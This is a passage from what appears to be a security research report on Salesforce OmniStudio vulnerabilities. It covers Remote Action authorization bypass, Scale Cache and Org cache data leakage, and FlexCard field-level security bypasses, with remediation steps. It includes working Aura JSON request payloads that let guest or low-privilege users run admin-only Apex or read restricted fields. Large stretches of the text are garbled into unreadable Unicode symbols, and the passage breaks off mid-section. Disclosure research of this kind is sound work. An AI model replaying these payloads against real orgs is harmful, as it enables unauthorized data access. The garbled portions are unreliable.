2. Ǘ˒ʢầ ΆʢЀầf̑ȶααầɽʢ˥̵ˈầʄȶ̑̑ʢʐầ̮ϒαςầ˥̮Ά̑ʢ̮ʢ̵ςầς˒ʢầᵉ˥̵ϳ̉ͅʢšʢς˒ͅʐᵊầ˃ϒ̵ʄς˥̵ͅầthat conforms with the expected signature , and the 

target Apex method to execute via the Remote Action must be handled and called through this function.  
 
  

https://help.salesforce.com/s/articleView?id=sf.nc_named_creds_and_ext_creds.htm&language=en_US&type=5
https://help.salesforce.com/s/articleView?id=sf.os_remote_action_13618.htm&language=en_US&type=5
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An example of an Apex Class being created properly for usage as a Remote Action can be seen below:  
 
global  with  sharing  class  ExampleCallableAction  implements  Callable  {  

    

   public Object call(String  methodName, Map<String,  Object>  args) {  

        ...  

        return invokeMethod(methodName,input,output,options);  

   }  

 

   public  Boolean  invokeMethod(String  methodName, Map<String,  Object>  input,   

   Map<String,  Object>  output,  Map<String,  Object>  options)  {  

      if  (methodName.equals('doSomething'))  {  

        return doSomething(input,output));  

      }  

      return  false;  

   }  

 

   private Boolean doSomething(...){  

      ...  

 output.put('resp',...);  

     return true;  

   }  

}  

 

When an OmniStudio  component attempts to execute the above through a Remote Action, it will proxy its execution through the 
ᵉ^ϒα˥̵ʢααƴΒͅʄʢααq˥αΆ̑ȶЅf̵ͅςΒ̑̑ͅʢΒᵊầ ΆʢЀầf̑ȶααầς˒ȶςầʢЀ˥αςαầϷ˥ς˒˥̵ầɽͅς˒ầᵉ̵̮ͅ˥αςϒʐ˥ͅʄͅΒʢᵊầȶ̵ʐầᵉ̵̮ͅ˥αςϒʐ˥ͅᵊầ̵ȶ̮ʢαΆȶʄʢαᵜầǗ˒˥αầʄ̑ȶαs has 
methods exposed to ς˒ʢầ ϒΒȶầ ƴăᵛầαϒʄ˒ầȶαầᵉËʢ̵ʢΒ˥ʄă̵ϳ̉ͅʢנũͅf̵ͅςᵊᵛầς˒ȶςầȶ̑̑ͅϷầ˃ͅΒầς˒ʢầž̵̮˥ǉςϒʐ˥ͅầʄ̮ͅΆ̵ͅʢ̵ςầςͅầʄȶ̑̑ầς˒ʢầƼʢ̮ͅςʢầ
Action Apex and return a result.  
 
The danger of ^ϒα˥̵ʢααƴΒͅʄʢααq˥αΆ̑ȶЅf̵ͅςΒ̑̑ͅʢΒᵊαầËʢ̵ʢΒ˥ʄă̵ϳ̉ͅʢנũͅf̵ͅςầ̮ʢς˒ͅʐầϷ˒ʢ̵ầʢЀʢʄϒς˥̵ˈầȶầƼʢ̮ͅςʢầ ʄς˥̵ͅầ˥αầς˒ȶςầ˥ςầʐͅʢαầ
not validate if the calling user has permission to access the Remote Action Apex . In other words, it allows for the execution of 
methods within an Apex Class with arbitrary parameters and values by unauthorized users, as long as it conforms to the Remote  
Action criteria outlined at the beginning of this section. This results in an aut horization bypass which may allow for both internal and 
external users to execute powerful Apex code that runs without sharing or does not implement security measures such as FLS. And 
as of current, this is the default behavior .  
 
Below is a visual aid to assist in understanding the danger of this behavior. It demonstrates how an external user may misuse  this 
issue to execute a powerful Apex class that they have not been given explicit access to.  
 

 

Unauthorized external user leveraging BusinessProcessDisplayController to access powerful apex  
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In the above diagram, an external user has permission to interact with a public IProc which uses a Remote Action to access a non-
αʢ̵α˥ς˥ϳʢầ ΆʢЀầf̑ȶααᵜầßͅϷʢϳʢΒᵛầς˒ʢầʢЀςʢΒ̵ȶ̑ầϒαʢΒầʐ˥Βʢʄς̑Ѕầʄȶ̑̑αầᵉ^ϒα˥̵ʢααƴΒͅʄʢααq˥αΆ̑ȶЅf̵ͅςΒ̑̑ͅʢΒᵊầςͅầʢЀʢʄϒςʢầȶʐ̮˥̵˥αςΒȶς˥ϳʢầApex 
even though they have not been explicitly granted access to it through Apex Class Access of their Profile / Permission Set(s) . 

Practical Demonstration  

Setting Up  

ǒ ̵ầ ΆʢЀầʄ̑ȶααầᵉ ʐ̮˥̵ž̵̑Ѕ ΆʢЀᵊᵛầϷȶαầϷΒ˥ςςʢ̵ầϷ˒˥ʄ˒ầ˥̮Ά̑ʢ̮ʢ̵ςαầς˒ʢầᵉfȶ̑̑ȶɽ̑ʢᵊầ˥̵ςʢΒ˃ȶʄʢầȶ̵ʐầʄ̵ͅ˃ͅΒ̮αầςͅầς˒ʢầʢЀΆʢʄςʢʐầ˃ͅΒ̮ȶςầςͅầ
ɽʢầϒαʢʐầȶαầȶầƼʢ̮ͅςʢầ ʄς˥̵ͅᵜầǗ˒˥αầʄ̑ȶααầʐͅʢαầ̵ͅςầʢ̵˃ͅΒʄʢầǉ˒ȶΒ˥̵ˈầƼϒ̑ʢαầȶ̵ʐầϷȶαầˈ˥ϳʢ̵ầȶầα˥̵ˈ̑ʢầ̮ʢς˒ͅʐᵛầᵉʐȶ̵ˈʢΒͅϒαÇϒ̵ʄᵊᵛầϷ˒˥ʄ˒ầ
returns the email addresses of all users.  

ǒ The Guest User was not  given access to the Apex Class  

Proof - Of-Concept  

An unauthenticated session was established for the Guest User on the Digital Experience. The following payload was then execu ted 
by the Guest User.  
 
{  

  "actions": [  

    {  

      "id": "16;a",  

      "descriptor": "aura://ApexActionController/ACTION$execute",  

      "callingDescriptor": "UNKNOWN",  

      "params": {  

        "namespace": "omnistudiocore",  

        "classname": " BusinessProcessDisplayController",  

        "method": "GenericInvoke2NoCont",  

        "params": {  

          "input": "{}",  

          "options": 

"{ \ "preTransformBundle \ ": \ " \ ", \ "postTransformBundle \ ": \ " \ ", \ "useQueueableApexRemoting \ ":false, \ "ignoreCache \ ":false, \ "vlcClass

\ ": \ "AdminOnlyApex \ ", \ "useContinuation \ ":false}",  

          "sClassName": "AdminOnlyApex",  

          "sMethodName": "dangerousFunc"  

        },  

        "cacheable": false,  

        "isContinuation": false  

      }  

    }  

  ]  

}  

 

A breakdown of the modifiable parameters in the above are as follows:  
 
ǒ sClassName & vlcClass -  The name of the Apex Class to be called that is exposed as a Remote Action  
ǒ sMethodName -  Ǘ˒ʢầ̮ʢς˒ͅʐầςͅầʄȶ̑̑ầϷ˥ς˒˥̵ầς˒ʢầƼʢ̮ͅςʢầ ʄς˥̵ͅᵜầȆ˥ς˒˥̵ầς˒ʢầƼʢ̮ͅςʢầ ʄς˥̵ͅᵊαầ ΆʢЀᵛầ˥ςầ̮ϒαςầɽʢầʐʢ˃˥̵ʢʐầȶ̵ʐầʄȶ̑̑ʢʐầ
Ϸ˥ς˒˥̵ầς˒ʢầᵉ˥̵ϳ̉ͅʢšʢς˒ͅʐᵊầ˃ϒ̵ʄς˥̵ͅầ˥̵ầͅΒʐʢΒầςͅầɽʢầȶʄʄʢαα˥ɽ̑ʢầςͅầᵉËʢ̵ʢΒ˥ʄă̵ϳ̉ͅʢנũͅf̵ͅςᵊᵜ 

ǒ input -  Key-Άȶ˥Βαầͅ˃ầΆȶΒȶ̮ʢςʢΒαầȶ̵ʐầϳȶ̑ϒʢαầ˃ͅΒ̮ȶςςʢʐầȶαầŇǉžũầς˒ȶςầȶΒʢầϒαʢʐầɽЅầς˒ʢầƼʢ̮ͅςʢầ ʄς˥̵ͅᵊαầ˃ϒ̵ʄς˥̵ͅầς˒ȶςầϷȶαầΆȶααʢʐầ
to sMethodName. Not used for this PoC. If parameters were required, a parameter with a string value could be inserted into 
this map a s \"exampleParam1 \":\"exampleValue1 \  k

 
˃ςʢΒầς˒ʢầΆȶЅ̑ͅȶʐᵊαầʢЀʢʄϒς˥̵ͅᵛầϷʢầʄȶ̵ầαʢʢầς˒ȶςầς˒ʢầʢЀʢʄϒς˥̵ͅầϷȶαầαϒʄʄʢαα˃ϒ̑ầȶαầς˒ʢầʢ̮ȶ˥̑αầϷʢΒʢầΒʢςϒΒ̵ʢʐầ˃Β̮ͅầς˒ʢầᵉʐȶ̵ˈʢΒͅϒαÇϒ̵ʄᵊầ

Apex method:  
 

 

Risk 

Apex classes can perform powerful CRUD operations , and in some cases may not enforce access control checks at the object, field, 
or record levels. In the event that such an Apex class exists and implements one of the callable interfaces, both internal an d external 
users can execute it with arbitrary input , even though they have not had the Apex Class assigned to their Profile / Permission Set(s). 
This could result in modification, destruction, or disclosure of data by unauthorized parties.  
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Recommendation(s)  

The ability to execute callable Apex code without being given explicit permission(s) to do so is behavior that is enabled by default . To 
enforce authorization checks for callable Apex Classes, a specific configuration must be created and enabled .  
 

1. From Setup, in the Quick Find box, enter Omni Interaction Configuration , and select Omni Interaction Configuration . 
2. Click New Omni Interaction Configuration . 
3. In Name  and in Label , enter ApexClassCheck . 
4.  In Value , enter true . 

Once configured correctly, any future attempts by a user to directly execute a callable Apex class without being granted expl icit 
access will fail.  
 

 

Unauthorized Guest User can no longer execute Apex without explicit permissions  

 
^ʢϷȶΒʢầς˒ȶςầȶ˃ςʢΒầʢ̵ȶɽ̑˥̵ˈầᵉ ΆʢЀf̑ȶααf˒ʢʄ̉ᵊᵛầ˥ςᵊαầΆͅαα˥ɽ̑ʢầς˒ȶςầ̑ʢˈ˥ς˥̮ȶςʢầϒαʢΒαầϷ˥̑̑ầȶʄʄ˥ʐʢ̵ςȶ̑̑Ѕầ̑ͅαʢầς˒ʢầȶɽ˥̑˥ςЅầςͅầϒαʢầʄʢrtain Apex 
Classes which can result in FlexCards and IProcs no longer functioning for them. To re -grant this access:  
 

1. *From Setup , enter Profiles  in the Quick Find  box, then select Users > Profiles .  
2. Select the profile to grant access to.  
3. Select Apex Class Access .  
4. Click Edit . 
5. Select the Apex classes that you want to enable from the Available Apex Classes list  and click Add .  
6.  Click Save . 

 
*To grant access using a Permission Set instead of a Profile: From Setup , enter Permission Sets  in the Quick Find  box, then select 
Users > Permission Sets . 

5.2.4 Circumventing Permission Checks Through Scale Cache  

Overview  

 which plagues Data Mappers also affects IProcs, wherein the metadata of an IProc is stored insecurely within the Scale Cache after 
its first authorized execution. Due to this similarity, refer back to Section 5.1.3  for the technical details.  

Practical Demonstration  

Setting Up  

ǒ ̵ầăƴΒͅʄầᵉšȶ̉ʢfȶ̑̑ͅϒςᵊầϷȶαầʄΒʢȶςʢʐầϷ˥ς˒ᵟ 
o A HTTP action. This HTTP action calls a remote API using an access token that it . 
o A Response action, this returns the result of the API call to the user who executed the IProc.  

ǒ Ǘ˒ʢầăƴΒͅʄầϷȶαầ˃ϒΒς˒ʢΒầαʢʄϒΒʢʐầϒα˥̵ˈầς˒ʢầᵉƼʢΎϒ˥ΒʢʐầƴʢΒ̮˥αα˥̵ͅᵊầ˃˥ʢ̑ʐᵛầᾳầς˒ȶςầ̵̑ͅЅầȶầϒαʢΒầϷ˥ς˒ầς˒ʢầǉЅαςʢ̮ầ ʐ̮˥̵˥αςΒȶςͅΒầƴΒͅ˃˥̑e 
may execute it.  

ǒ The Guest User does not have access  to the IProc through Sharing Rules, nor do they satisfy  ς˒ʢầᵉƼʢΎϒ˥ΒʢʐầƴʢΒ̮˥αα˥̵ͅᵊầ˃˥ʢ̑ʐᵜ 

Proof - Of-Concept  

An unauthenticated session was first established for the Guest User on the Digital Experience. Attempting to execute the IPro c using 
a similar payload to the one in Section 5.2.1  resulted in an error as expected, since they do not have permissions.  
 

 

https://help.salesforce.com/s/articleView?id=sf.os_add_an_apex_class_permissions_checker_1.htm&type=5
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A session was then created for a user with the System Administrator Profile on the Digital Experience. The same payload was 
executed, and a result was returned since the user passes the required authorization checks.  
 

 
 

Another unauthenticated session was created for the Guest User on the Digital Experience. Re -attempting to execute the IProc 
results in the API being queried and its response is shown, showing that the access controls were bypassed.  
 

 
 

Risk 

While the risk for Data Mappers is limited to reading data without enforcing FLS, IProcs have a greater list of possible acti ons that 
they may use. This increas es the possible blast radius in the event they are accessed by those without explicit permissions. For 
example, the IProc may perform an unsafe callout to an external API and return sensitive information to the user.  

Recommendation(s)  

Unlike the Data Mapper problem which can only be resolved by turning off the Scale Cache, a security control does exist within 
OmniStudio  that ensures unauthorized users may not execute IProcs by leveraging an existing metadata definition. To enable it:  
 

1. From Setup , enter Omni Interaction Configuration  and select Feature Settings > Omni Interaction > Omni Interaction 
Configuration . 

1. Select New Omni Interaction Configuration . 
2. In the Label  field, enter CheckCachedMetadataRecordSecurity . Within the Value  field, enter true . 
3. Click Save . 

 
ũͅςʢᵟầ|ϳʢ̵ầ˥˃ầς˒ʢầăƴΒͅʄầ˥̮Ά̑ʢ̮ʢ̵ςαầȶầfϒας̮ͅầƴʢΒ̮˥αα˥̵ͅầς˒Βͅϒˈ˒ầς˒ʢầᵉƼʢΎϒ˥ΒʢʐầƴʢΒ̮˥αα˥̵ͅᵊầ˃˥ʢ̑ʐᵛầς˒˥αầαʢςς˥̵ˈầ̮ϒαςầας˥̑̑ầɽʢầʢ̵abled to 
secure access.  
 

5.2.5 Improper Use of Platform Cache Leads to Information Disclosure  

Overview  

IProcs have the ability to cache the results of actions they execute in an effort to improve performance by. This works by re ducing 
the need for additional database calls when executions with the same signature (parameters) occur more than once. There are two 
ways in which they can cache these results:  
 

1. Top-Ŗʢϳʢ̑ầfȶʄ˒˥̵ˈᵛầϷ˒˥ʄ˒ầ˥αầʢ̵ȶɽ̑ʢʐầϷ˥ς˒˥̵ầȶ̵ầăƴΒͅʄᵊαầʄ̵ͅ˃˥ˈϒΒȶς˥̵ͅầȶ̵ʐầϷ˥̑̑ầȶςςʢ̮Άςầςͅầʄȶʄ˒ʢầς˒ʢầΒʢαϒ̑ςαầͅ˃ầȶ̑̑ầȶʄς˥̵ͅαᵜầǗ˒˥αầ
effectively wraps the entire procedure in a Cache Block.  

2. Cache Blocks are individual elements that can be created within an IProc to contain one or more actions. Any action(s) that a re 
executed within the Cache Block will have their results cached.  

 
Regardless of which method is utilized, both Top -Level caching and Cache Blocks will store and retrieve results using the 
VlocityAPIResponse  Platform Cache  partition. qʢΆʢ̵ʐ˥̵ˈầ̵ͅầς˒ʢầăƴᵊαᴭfȶʄ˒ʢầ^̑ͅʄ̉ᵊαầʄ̵ͅ˃˥ˈϒΒȶς˥̵ͅᵛầͅΒˈȶ̵˥Мȶς˥̵ͅαầ̮ȶЅầͅΆςầςͅầϒαʢầς˒ʢầ
Organization segment or Session  segment for storage. The primary difference between these is that the Organization segment is 
shared by all users on the platform , whereas the Session segment is specific to a single user.  
 
Since the Organization segment is shared by all users and the results of Data Mapper actions are also stored in the cache , this leads 
to an interesting security issue. Take the following example:  
 

1. An IProc is created that utilizes the Organization segment of the Platform Cache. The purpose of the IProc is to execute a Da ta 
šȶΆΆʢΒầϷ˒˥ʄ˒ầΒʢςϒΒ̵αầς˒ʢầΒʢʄͅΒʐαầͅ˃ầς˒ʢầᵉf̵ͅςȶʄςᵊầαžɽ́ʢʄςầςͅầς˒ʢầϒαʢΒᵜ 

https://help.salesforce.com/s/articleView?id=xcloud.os_dataraptor_and_integration_procedure_security_settings_48215.htm&type=5
https://help.salesforce.com/s/articleView?id=xcloud.os_dataraptor_and_integration_procedure_security_settings_48215.htm&type=5
https://developer.salesforce.com/docs/atlas.en-us.apexcode.meta/apexcode/apex_cache_namespace_overview.htm
https://help.salesforce.com/s/articleView?id=sf.os_cache_for_dataraptors_and_integration_procedures_48057.htm&type=5
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2. User A is a privileged user with the ability to read all records from this sObject. They execute the IProc for the first time  and all 
of the record data is returned to them. During this process, the IProc stores the output of the Data Mapper to the Organiz ation 
segment of the Cache.  

 

 

 

3. User B is an unauthorized user in that they do not have any object, field, or record access configured that allows them to re ad 
records from the same sObject. They execute the same IProc but instead of getting an access denied error for the sObject, 
ς˒ʢЅầˈʢςầǣαʢΒầ ᵊαầqȶςȶầšȶΆΆʢΒầΒʢαϒ̑ςαᵜầǗ˒˥αầͅʄʄϒΒαầɽʢʄȶϒαʢầϒαʢΒầ ᵊαầqȶςȶầšȶΆΆʢΒầΒʢαϒ̑ςαầϷʢΒʢầαςͅΒʢʐầ˥̵ầς˒ʢầžΒˈầʄȶʄ˒ʢầɽЅầς˒ʢầ
IP. No authorization checks occur to see if user B can access the sObject, since no live database call was ever performed.  
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One important caveat of this attack is that if the IProc requires user input for a Data Mapper action, the input supplied by the 
unauthorized user must be the same input (if any) that was used by a previous executor in order to see their results. Otherwise, a 
database call is made , and access is denied. I believe this occurs due to user - input being included as part of the Cache Key.  
 

Practical Demonstration  

Setting Up  

ǒ ầqȶςȶầšȶΆΆʢΒầᵉ|ЀςΒȶʄςᵊầϷȶαầʄΒʢȶςʢʐầϷ˒˥ʄ˒ầΒʢςϒΒ̵αầȶ̑̑ầʢ̮ȶ˥̑ầȶʐʐΒʢααʢαầϷ˥ς˒˥̵ầς˒ʢầf̵ͅςȶʄςầαžɽ́ʢʄςᵜầǗ˒ʢầqȶςȶầšȶΆΆʢΒầȶʄʄʢΆςαầ
̵ͅʢầΆȶΒȶ̮ʢςʢΒầȶαầϒαʢΒầ˥̵Άϒςᵛầᵉăαqʢ̑ʢςʢʐᵊᵜầă˃ầς˒˥αầΆȶΒȶ̮ʢςʢΒầ˥αầαʢςầςͅầᵉςΒϒʢᵊᵛầ˥ςầΒʢςϒΒ̵αầς˒ʢầʢ̮ȶ˥̑αầͅ˃ầf̵ͅςȶʄςαầς˒ȶςầȶΒʢầ˥̵ầςhe recycl e 
ɽ˥̵ᵜầă˃ầᵉ˃ȶ̑αʢᵊᵛầ˥ςầΒʢςϒΒ̵αầς˒ʢầʢ̮ȶ˥̑αầͅ˃ầȶʄς˥ϳʢầf̵ͅςȶʄςαᵜ 

ǒ An IProc was created with:  
o A Data Mapper action. This action calls the newly created Data Mapper, with user - input, and gets the results.  
o The Platform Cache Type  field set to Org Cache  with a Time - to - Live  (TTL) of 60 minutes.  
o A Response action which returns the results of the Data Mapper to the user.  

ǒ The Guest User was granted access to the IProc using Sharing Rules. They were not granted access to the Contact sObject at 
the record, field, or Sharing Rules levels.  

ǒ As per , the Guest User does not need to be granted access to the Data Mapper since it is being called through the IProc.  

Proof - Of-Concept  

A session was established by the System Administrator on the Digital Experience. Using this session, a similar payload as the  one 
shown in Section 5.2.1  ϷȶαầϒαʢʐầςͅầʢЀʢʄϒςʢầς˒ʢầăƴΒͅʄầϷ˥ς˒ầȶ̵ầᵉ˥̵Άϒςᵊầϳȶ̑ϒʢầͅ˃ầᴡᵎăαqʢ̑ʢςʢʐᵟ˃ȶ̑αʢᵏᴢ. As expected, this returns the emails 
of all active Contacts.  
 

 
 

A new unauthenticated session was created for the Guest User on the Digital Experience. Using this session, the Guest User ex ecutes the 
payload with the same ᵉ˥̵Άϒςᵊầϳȶ̑ϒʢầς˒ȶςầϷȶαầϒαʢʐầɽЅầς˒ʢầǉЅαςʢ̮ầ ʐ̮˥̵˥αςΒȶςͅΒᵜầ αầα˒ͅϷ̵ᵛầς˒ʢầËϒʢαςầǣαʢΒầϷȶαầˈΒȶ̵ςʢʐầȶʄʄʢααầςͅầς˒ʢầ
ǉЅαςʢ̮ầ ʐ̮˥̵˥αςΒȶςͅΒᵊαầΒʢαϒ̑ςαầ˃Β̮ͅầς˒ʢầfȶʄ˒ʢᵛầʢϳʢ̵ầς˒ͅϒˈ˒ầς˒ʢЅầ̵ͅΒ̮ȶ̑̑Ѕầ˒ȶϳʢầ̵ͅầȶʄʄʢααầςͅầς˒ʢầᵉf̵ͅςȶʄςᵊầαžɽ́ʢʄςᵜ 
 

 
 

This problem can easily be reproduced using a Cache Block instead of top - level caching, by placing the Data Mapper action inside of 
a Cache Block element, and configuring the Cache Block to use the Organization segment of the Platform Cache.  

Risk 

Users may be able to see data that they are not typically authorized to see, depending on the permissions of the individual who 
executed the IProc before them. While this is bad enough as it stands, this issue may be combined with the  Scale Caching problem 
which dramatically increases its severity. If both of these misconfigurations were to exist at the same time, a user that should not 
have the ability to execute IProcs at all could not only execute any IProc of their choice, but also see the results of other  users if 
the Organization segment of the Platform Cache is being used . 
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Recommendation(s)  

Since the Organization segment of the Platform Cache is a shared partition by all users, it is unwise to store information th at could be 
considered sensitive inside it. Organizations may still benefit from some performance improvements by instead using the  Session 
Cache. The Session Cache will not yield the same benefit in terms of speed since each entry is unique to each user, however i t avoids 
users intentionally or inadvertently accessing data that does not belong to them.  
 
To change the type of cache being used for Top -Level Caching:  

1. From Service Setup , type OmniStudio  Integration Procedures  into the App Launcher and select OmniStudio Integration 
Procedures . 

2. Locate and open the affected IProc.  
3. Within the Structure  column, select the Procedure Configuration  element.  
4. Select Create Version . 
5. Within the Procedure Configuration  element and scroll down the Properties  menu.  
6.  Under Salesforce Platform Cache Type , change Org Cache  to Session Cache . 
7. Select Save, and finally select Activate Version  
8. Return to the OmniStudio Integration Procedures  page and locate the affected IProc again. Click it, and identify the old IProc 

version from the dropdown menu.  
9.  Select the checkbox to the left of the old IProc.  
10. On the right -hand side of the row, select the dropdown menu and choose Deactivate . 

 
To change the type of cache being used for a Cache Block:  

11. From Service Setup , type OmniStudio Integration Procedures  into the App Launcher and select OmniStudio Integration 
Procedures . 

12. Locate and open the affected IProc.  
13. Within the Structure  column, select the Procedure Configuration  element.  
14. Select Create Version . 
15. Within the Structure  column, select the Cache Block  element.  
16. Under Salesforce Platform Cache Type , change Org Cache  to Session Cache . 
17. Within the Structure  column, select the Procedure Configuration  element.  
18. Select Save, and finally select Activate Version  
19. Return to the OmniStudio Integration Procedures  page and locate the affected IProc again. Click it, and identify the old IProc 

version from the dropdown menu.  
20.  Select the checkbox to the left of the old IProc.  
21. On the right -hand side of the row, select the dropdown menu and choose Deactivate . 

 

5.3 FlexCards  

5.3.1 Lack of FLS Enforcement for SOQL Data Source ( CVE-2025 -43698 ) 

Overview  

Flexcards  have multiple ways through which they retrieve data from a Salesforce object or external system, but not all are made equal 
with respect to security. In particular, the SOQL data source completely bypasses any field - level security  when fetching data from 
Salesforce objects.  

Practical Demonstration  

Setting Up  

ǒ ầfϒας̮ͅầžɽ́ʢʄςầᵉ|Ѐȶ̮Ά̑ʢᶉᶉʄᵊầϷȶαầʄΒʢȶςʢʐầϷ˥ς˒ầ̵ͅʢầ˃˥ʢ̑ʐầᵉǉʢ̵α˥ς˥ϳʢᶉᶉʄᵊᵜầ 
ǒ The OS CC Profile was granted object -̑ʢϳʢ̑ầΒʢȶʐầȶʄʄʢααầςͅầς˒ʢầᵉ|Ѐȶ̮Ά̑ʢᶉᶉʄᵊầͅɽ́ʢʄςᵜầ^ϒςầς˒ʢЅầwere not granted field - level read 

access  ςͅầᵉǉʢ̵α˥ς˥ϳʢᶉᶉʄᵊᵜ 
ǒ ầÇ̑ʢЀfȶΒʐᵛầᵉ|Ѐȶ̮Ά̑ʢÇ̑ʢЀfȶΒʐᵊᵛầϷȶαầʄΒʢȶςʢʐầϷ˒˥ʄ˒ầΆʢΒ˃ͅΒ̮αầȶầǉžƻŖầΎϒʢΒЅầς˒ȶςầΒʢςϒΒ̵αầς˒ʢầϳȶ̑ϒʢầͅ˃ầς˒ʢầᵉǉʢ̵α˥ς˥ϳʢᶉᶉʄᵊầ˃˥ʢ̑ʐầ˃Βͅm 
ΒʢʄͅΒʐαầϷ˥ς˒˥̵ầᵉ|Ѐȶ̮Ά̑ʢᶉᶉʄᵊᵜ 

 
  

https://help.salesforce.com/s/articleView?id=sf.os_configure_a_data_source_on_a_flexcard_35864.htm&type=5
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Proof - Of-Concept  

A session was established for a user with the OS CC Profile on the Digital Experience. Using this session, the following payl oad was 
sent:  
 
{  

  "actions": [  

    {  

      "id": "8;a",  

      "descriptor": "aura://ApexActionController/ACTION$execute",  

      "callingDescriptor": "UNKNOWN",  

      "params": {  

        "namespace": "omnistudiocore",  

        "classname": "FlexRuntime",  

        "method": "doEncryptedDatasourceFlex",  

        "params": {  

          "globalKey": "ExampleFlexCard/Admin/1.0",  

          "scope": null,  

          "actionElementId": null,  

          "isFileBased": false  

        },  

        "cacheable": false,  

        " isContinuation": false  

      }  

    }  

  ]  

}  
 
αầαʢʢ̵ầȶɽͅϳʢᵛầς˒ʢầÇ̑ʢЀfȶΒʐᵊαầ˃ϒ̑̑ЅầΎϒȶ̑˥˃˥ʢʐầ̵ȶ̮ʢầ̮ϒαςầɽʢầΆΒͅϳ˥ʐʢʐầςͅầς˒ʢầᵉˈ̑ͅɽȶ̑ŌʢЅᵊầΆȶΒȶ̮ʢςʢΒᵜầǗ˒˥αầ˥αầͅ˃ầς˒ʢầ˃ͅΒ̮ȶςᵟầᵉᵮÇ̑exCard 

Name>/<FlexCard  ϒς˒ͅΒᵯᴭᵮȃʢΒα˥̵ͅầũϒ̮ɽʢΒᵯᵊᵜầǗ˒˥αầ˃ϒ̑̑ЅầΎϒȶ̑˥˃˥ʢʐầ̵ȶ̮ʢầʄȶ̵ầɽʢầΒʢςΒ˥ʢϳʢʐầ˃Β̮ͅầς˒ʢầᵉž̵̮˥ǣ˥fȶΒʐŌʢЅᵊầ˃˥ʢ̑ʐầͅ˃ầς˒ʢầ
ᵉž̵̮˥ǣ˥fȶΒʐᵊầαžɽ́ʢʄςᵛầϒα˥̵ˈầᵉǉʢ̑ʢʄςȶɽ̑ʢŖ˥αςqȶςȶƴΒͅϳ˥ʐʢΒf̵ͅςΒ̑̑ͅʢΒᵊầͅΒầα˥̮˥̑ȶΒᵜ 
 
ž̵ʄʢầʢЀʢʄϒςʢʐᵛầς˒ʢầϳȶ̑ϒʢầͅ˃ầᵉǉʢ̵α˥ς˥ϳʢᶉᶉʄᵊầϷȶαầΒʢςϒΒ̵ʢʐầ˥̵ầς˒ʢầΒʢαΆ̵ͅαʢᵛầΆΒͅϳ˥̵ˈầς˒ȶςầÇŖǉầϷȶαầɽЅΆȶααʢʐᵜ 
 

 
 

Risk 

The ability to bypass the FLS security mechanism can result in the disclosure of sensitive information to unintended parties.  The 
potential impact of this problem is increased when taking into consideration the issues discussed within the next couple of s ections. 
Namely Section 5.3.2  and  wherein I discuss access control bypasses and the ability to view encrypted values in plaintext.  

Recommendations  

Organizations should enable the configuration setting responsible for enforcing FLS for all FlexCards using SOQL queries at t he 
organization -wide level.  
 
To enforce FLS for all FlexCards using the SOQL datasource:  

1. From Setup , enter Omni Interaction Configuration  and select Feature Settings > Omni Interaction > Omni Interaction 
Configuration . 

2. Select New Omni Interaction Configuration . 
3. For Name  and Label , enter EnableQueryWithFLS . For the Value  field, enter true . 
4. Click Save . 

Once done, if an unauthorized user executes a FlexCard that uses the SOQL datasource to retrieve a restricted field, an error  will be 
returned.  
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ầă̵αϒ˃˃˥ʄ˥ʢ̵ςầƴʢΒ̮˥αα˥̵ͅầȃȶ̑˥ʐȶς˥̵ͅầɽЅầᵉƼʢΎϒ˥ΒʢʐầƴʢΒ̮˥αα˥̵ͅᵊầÇ˥ʢ̑ʐầᴛCVE-2025נᵜעᵜפ -43699 ) 

This behavior has been fixed by Salesforce  after I reported it to them, so this behavior is no longer possible , and no action is 
required to be taken by ˥̵ʐϒαςΒЅầʄ̑ͅϒʐαᵊ customers. This section has been kept for historical and educational purposes.  

Overview  

žϒςα˥ʐʢầͅ˃ầǉ˒ȶΒ˥̵ˈầƼϒ̑ʢαᵛầÇ̑ʢЀfȶΒʐαầ̮ȶЅầȶ̑ᾳầ˒ȶϳʢầȶʐʐ˥ς˥̵ͅȶ̑ầΆʢΒ̮˥αα˥̵ͅαầΒʢΎϒ˥Βʢʐầςͅầȶʄʄʢααầς˒ʢ̮ầς˒Βͅϒˈ˒ầς˒ʢầϒαʢầͅ˃ầς˒ʢầᵉƼʢΎϒired 
ƴʢΒ̮˥αα˥̵ͅᵊầ˃˥ʢ̑ʐầͅ˃ầʢȶʄ˒ầÇ̑ʢЀfȶΒʐᵜầǗ˒˥αầ˥αầ̵ʢȶΒ- identical in nature to the same field present on both IPs and Data Mappers, w ith the 
nuance that only a Custom Permission  must be used as opposed to a Profile or Permission Set.  
 
But unlike IPs and Data Mappers, the authorization check that ensures a user possesses the necessary Custom Permission is 
performed client -side by an Aura -enabled Apex controller as opposed to server -side. Importantly, the controller performing this 
permission check is only run when a FlexCard is executed through the UI and is entirely separate to the controller used to ex ecute 
a FlexCard . Therefore , by directly invoking the FlexCard, the check is never performed . 
 

 

ǣ̵ȶϒς˒ͅΒ˥МʢʐầϒαʢΒầ̮ȶЅầʄ˥Βʄϒ̮ϳʢ̵ςầς˒ʢầᵉƼʢΎϒ˥ΒʢʐầƴʢΒ̮˥αα˥̵ͅαᵊầϷ˒ʢ̵ầʢЀʢʄϒς˥̵ˈầÇ̑ʢЀfȶΒʐầς˒Βͅϒˈ˒ầς˒ʢầ ƴă 

Practical Demonstration  

Setting Up  

 
ǒ The Custom Object created within the previous section  was re -used.  
ǒ The OS CC Profile was given read access at the object - level, but they were not granted permissions  ςͅầΒʢȶʐầς˒ʢầᵉǉʢ̵α˥ς˥ϳʢᶉᶉʄᵊầ

field. Sharing Rules were also created so that they may access all records within the object.  
ǒ ầÇ̑ʢЀfȶΒʐầᵉËʢςǉʢ̵α˥ς˥ϳʢÇ˥ʢ̑ʐᵊầϷȶαầʄΒʢȶςʢʐầϷ˒˥ʄ˒ầΎϒʢΒ˥ʢαầς˒ʢầfϒας̮ͅầžɽ́ʢʄςầȶ̵ʐầΒʢςϒΒ̵αầς˒ʢầϳȶ̑ϒʢầͅ˃ầς˒ʢầᵉǉʢ̵α˥ς˥ϳʢᶉᶉʄᵊầ˃˥ʢ̑ʐầ

using a SOQL datasource, so FLS is not enforced . 
ǒ The Flexcard  ϷȶαầαʢʄϒΒʢʐầϷ˥ς˒ầȶầfϒας̮ͅầƴʢΒ̮˥αα˥̵ͅᵛầᵉǉ̮ͅʢƴʢΒ̮˥αα˥̵ͅᵊᵛầwhich only the System Administrator possesses .  
ǒ The Flexcard  was placed on the Digital Experience, for the purpose of showing the client -side access control validation.  

 

Proof - Of-Concept  

A session was established for a user with the OS CC Profile on the Digital Experience. When attempting to load the FlexCard i n the UI 
